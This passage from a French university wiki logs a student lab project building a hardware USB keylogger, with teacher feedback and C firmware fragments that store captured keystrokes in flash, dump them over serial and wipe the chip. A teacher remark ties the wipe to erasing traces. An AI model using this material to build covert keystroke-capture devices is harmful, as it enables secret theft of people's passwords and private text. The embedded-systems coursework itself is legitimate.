Benjamin : Pas de souci, j'en ai profité aussi pour modifier les autres variables concernant le parcours du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Parfait. Il te reste une condition à redresser &amp;lt;code&amp;gt;(*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1))&amp;lt;/code&amp;gt;. Cela n'arrivera jamais, le plus proche de &amp;lt;code&amp;gt;FLASH_PAGE_INDEX_MAX&amp;lt;/code&amp;gt; sera 4*63=252 après cela saute à 5*63=315. Il vaudrait mieux que tu testes &amp;lt;code&amp;gt;(*page_buffer_size+FLASH_BUFFER_SIZE&amp;gt;=FLASH_PAGE_INDEX_MAX)&amp;lt;/code&amp;gt; tu ne crois pas ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je comprends votre inquiétude. Dans les constantes, j'ai mis &amp;lt;code&amp;gt;FLASH_PAGE_INDEX_MAX&amp;lt;/code&amp;gt; à 251 en pensant initialement que j'allais m'en servir comme l'indice maximal que la page pourra atteindre, d'où le &amp;lt;code&amp;gt;+ 1&amp;lt;/code&amp;gt; qui nous permettra de vérifier l'indice &amp;lt;code&amp;gt;*page_buffer_size&amp;lt;/code&amp;gt; qui sera à 252 quand il aura été rempli 4 fois par &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt;. Je vais rajouter une condition avec une comparaison &amp;lt;code&amp;gt;&amp;gt;=&amp;lt;/code&amp;gt; au cas où les constantes serait mené à changer dans le futur.&lt;br /&gt;
&lt;br /&gt;
Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0;&lt;br /&gt;
                     byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1);&lt;br /&gt;
                     byte += CODES_PACKET_SIZE)&lt;br /&gt;
				{&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += CODES_PACKET_SIZE)&lt;br /&gt;
			{&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Code bien factorisé. Tu as récupéré les commandes pour le reset de la flash dans la documentation des AT45DB641E ? Le reset n'est pas vraiment nécessaire sauf à vouloir effacer ses traces.&lt;br /&gt;
&lt;br /&gt;
Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMega, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapées :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On attend à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
&lt;br /&gt;
ReX : D'après ton schéma des connexions de connecteurs je crains que l'AT90 soit en 3.3V et l'ATMega en 5V. Ca pourrait provoquer des problème avec la connexion UART. Tu peux rajouter sur le schéma la position des cavaliers pour que je sois sûr ?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=854</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=854"/>
		<updated>2023-08-15T15:20:17Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Modification du Keylogger */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
